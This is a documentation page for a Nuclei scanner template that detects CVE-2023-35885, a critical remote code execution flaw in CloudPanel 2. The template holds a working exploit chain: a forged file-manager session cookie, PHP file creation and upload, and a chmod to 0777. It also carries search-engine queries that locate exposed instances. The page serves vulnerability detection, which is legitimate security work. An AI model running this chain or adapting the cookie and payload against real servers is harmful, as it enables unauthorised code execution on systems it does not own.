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Cloudpanel 2 < 2.3.1 - Remote Code Execution

ID: CVE-2023-35885

Severity: critical

Author: DhiyaneshDk

Tags: cve2023,cve,cloudpanel,rce,intrusive,mgt-commerce,fileupload

Description

Section titled “Description”

CloudPanel 2 before 2.3.1 has insecure file-manager cookie authentication.

YAML Source

Section titled “YAML Source”
id: CVE-2023-35885


info:
  name: Cloudpanel 2 < 2.3.1 - Remote Code Execution
  author: DhiyaneshDk
  severity: critical
  description: |
    CloudPanel 2 before 2.3.1 has insecure file-manager cookie authentication.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade Cloudpanel to version 2.3.1 or later to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35885
    - https://www.datack.my/fallingskies-cloudpanel-0-day/
    - https://github.com/datackmy/FallingSkies-CVE-2023-35885
    - https://www.cloudpanel.io/docs/v2/changelog/
    - https://github.com/Tropinene/Yscanner
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-35885
    cwe-id: CWE-565
    epss-score: 0.48073
    epss-percentile: 0.97467
    cpe: cpe:2.3:a:mgt-commerce:cloudpanel:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 5
    vendor: mgt-commerce
    product: cloudpanel
    shodan-query:
      - title:"Cloudpanel"
      - http.title:"cloudpanel"
      - http.favicon.hash:"151132309"
    fofa-query:
      - icon_hash="151132309"
      - title="cloudpanel"
    google-query: intitle:"cloudpanel"
  tags: cve2023,cve,cloudpanel,rce,intrusive,mgt-commerce,fileupload
variables:
  session: "ZGVmNTAyMDA3ZDI0OGNjZmU0NTVkMGQ2NmJhMjUxYjdhYzg0NzcyYzBmNjM0ODg0ODY0OWYyZTQ0MjgwZDVjZDBjNmY3MWJiZWU4ZTM4OTU4ZmE4YjViNjE4MGJiZjQ4NzA3MzcwNTJiNzFhM2JjYTBmNTdiODQ4ZDZjYjhiNmY1N2U3YTM1YWY3YjA3MTM1ZTlkYjViMjY5OTkzM2Q3NTAyOWI0ZGQ5ZDZmOTFhYTVlZTRhZjg0ZTBmZTU5NjY4NGI4OGU0NjVkNDU4MWYxOTc2MGNiMGI0ZGY2MmZjM2RkMmI4N2RhMzJkYTU4NjNjMWFmMGZlOWIwZjcyZGRkNmFhYzk3ZGVlZmY="
  str1: "{{rand_base(10)}}"
  string: "CVE-2023-35885"


http:
  - raw:
      - |
        GET /file-manager/ HTTP/1.1
        Host: {{Hostname}}
        Cookie: clp-fm={{session}}
      - |
        POST /file-manager/backend/makefile HTTP/1.1
        Host: {{Hostname}}
        Cookie: clp-fm={{session}}
        Content-Type: application/x-www-form-urlencoded


        id=/htdocs/app/files/public/&name={{str1}}.php
      - |
        POST /file-manager/backend/text HTTP/1.1
        Host: {{Hostname}}
        Cookie: clp-fm={{session}}
        Content-Type: application/x-www-form-urlencoded


        id=/htdocs/app/files/public/{{str1}}.php&content=<?php echo md5("{{string}}");unlink(__FILE__);?>
      - |
        POST /file-manager/backend/permissions HTTP/1.1
        Host: {{Hostname}}
        Cookie: clp-fm={{session}}
        Content-Type: application/x-www-form-urlencoded


        id=/htdocs/app/files/public/{{str1}}.php&permissions=0777
      - |
        GET /{{str1}}.php HTTP/2
        Host: {{Hostname}}


    matchers:
      - type: word
        part: body_5
        words:
          - '{{md5(string)}}'
# digest: 4a0a0047304502201186f8631cb8fd814a51268c3d32e83b8949f8eb36ca3679c8c26392a1560173022100a664a1032a16509613d8ab6641e0f390b1d1480642e01df19c14f5f6cdf33b23:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-35885.yaml"

View on Github